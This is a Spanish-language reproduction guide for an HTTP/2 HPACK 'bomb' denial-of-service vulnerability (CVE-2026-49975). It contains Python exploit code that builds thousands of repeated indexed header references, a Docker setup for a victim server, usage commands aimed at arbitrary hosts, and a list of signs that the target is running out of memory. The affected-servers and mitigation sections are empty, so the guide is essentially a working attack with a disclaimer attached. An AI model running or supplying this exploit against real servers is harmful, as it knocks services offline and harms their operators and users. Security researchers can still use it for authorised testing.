CVE-2026-49975 (Bomba HTTP/2) Guía completa de reproducción

Basado en el aviso de QiAnXin CERT + investigación original de Calif

================================================================

I. Resumen de la vulnerabilidad

CVE-2026-49975 es una vulnerabilidad crítica de denegación de servicio (DoS) en implementaciones de servidores y proxies HTTP/2. El ataque, denominado «Bomba HTTP/2» o «Bomba HPACK», explota dos comportamientos a nivel de diseño en el protocolo HTTP/2 para forzar a un objetivo a un consumo ilimitado de memoria (OOM) y a un agotamiento de CPU:

1. Explosión de referencias indexadas HPACK – una pequeña trama HEADERS que referencia lógicamente la misma entrada de cookie miles de veces mediante referencias indexadas HPACK. Al decodificar, el decodificador HPACK del par puede asignar memoria proporcional al número de referencias, no al tamaño en la red.
2. Bloqueo de la ventana de control de flujo – combinado con una ventana inicial de cero, el emisor pone en cola datos HEADERS, pero el receptor se niega a leerlos hasta que llegan las actualizaciones de ventana; los búferes se llenan y la presión sobre la memoria aumenta.

Puntuación base CVSS 3.1: 9.8 (Crítica)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

II. Principio del ataque (combinación de dos etapas)

El ataque es más efectivo cuando las dos etapas se complementan entre sí, pero cada etapa por sí sola es suficiente contra algunas implementaciones.

Etapa 1: Bomba de referencias indexadas HPACK

La compresión de cabeceras HPACK de HTTP/2 utiliza una tabla dinámica en evolución. Una vez que una cabecera de cookie grande se inserta en la tabla (mediante codificación literal+incremental), un atacante puede referenciar esa entrada con un opcode de 1 byte. Las referencias repetidas hacen que el decodificador reconstruya la misma cabecera una y otra vez.

Wire:  [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
    ↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.

Un paquete de 5 KB puede expandirse a cientos de megabytes de carga útil decodificada.

Etapa 2: Bloqueo de ventana HTTP/2

Un SETTINGS con INITIAL_WINDOW_SIZE=0 obliga a la víctima a poner en cola todos los datos HEADERS/continuación. El atacante filtra lentamente las tramas WINDOW_UPDATE. Los búferes permanecen combinatoriamente llenos.

III. Servidores afectados

Consulte la entrada CVE de su proveedor para conocer los límites exactos.

IV. Configuración del entorno

# Python 3.8+ with ssl support
python --version

# SSL Certificate optional; PoC sets CERT_NONE

Víctima rápida con Docker:

docker run -d --name h2-victim -p 4433:443 \
    nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null

V. Código del exploit

El script complementario es exploit.py.

La rutina principal:

def build_hpack_bomb(num_headers: int = 20000) -> bytes:
    cookie_name = b"cookie"
    cookie_value = "a=" + "y" * 128
    data = bytearray()
    # Step 1: insert cookie into dynamic table
    data.append(0x40)  # Literal+incremental
    data.extend(encode_hpack_int(len(cookie_name), 7))
    data.extend(cookie_name)
    data.extend(encode_hpack_int(len(cookie_value), 7))
    data.extend(cookie_value.encode())
    # Step 2: spam Indexed refs (index 63)
    for _ in range(num_headers):
        data.append(0x80)
        data.extend(encode_hpack_int(63, 7))
    return bytes(data)

El script realiza:

• Conexión TLS a host:puerto
• Prefacio PRI HTTP/2 + SETTINGS con ventana=0
• envía la bomba HPACK como HEADERS
• opcionalmente envía una filtración lenta de WINDOW_UPDATE
• mide la degradación del RTT mediante tramas PING

VI. Uso

# Basic run (default 10000 refs)
python exploit.py 192.168.1.100

# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000

# Disable window stall
python exploit.py endpoint.com --no-stall

# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60

# Verbose
python exploit.py 10.0.0.5 -v

VII. Verificar la efectividad del ataque

Monitoree los recursos de la víctima:

watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>

Señales de que el ataque está funcionando:

• el RSS de la víctima crece >500 MB
• la CPU salta al 100%
• las latencias de PING superan 1 segundo
• las conexiones agotan el tiempo de espera

VIII. Mitigación

IX. Descargo de responsabilidad

Esta información es únicamente para pruebas de seguridad educativas y autorizadas. Ejecútelo solo contra sistemas que posea o para los que tenga permiso por escrito de probar.

Referencias

• CVE-2026-49975 en Mitre
• Aviso de QiAnXin CERT (boletín original en mandarín / inglés)
• Calif, A. La bomba HTTP/2: OOM indexado por HPAK. Black Hat 2025
• RFC 7541, RFC 9113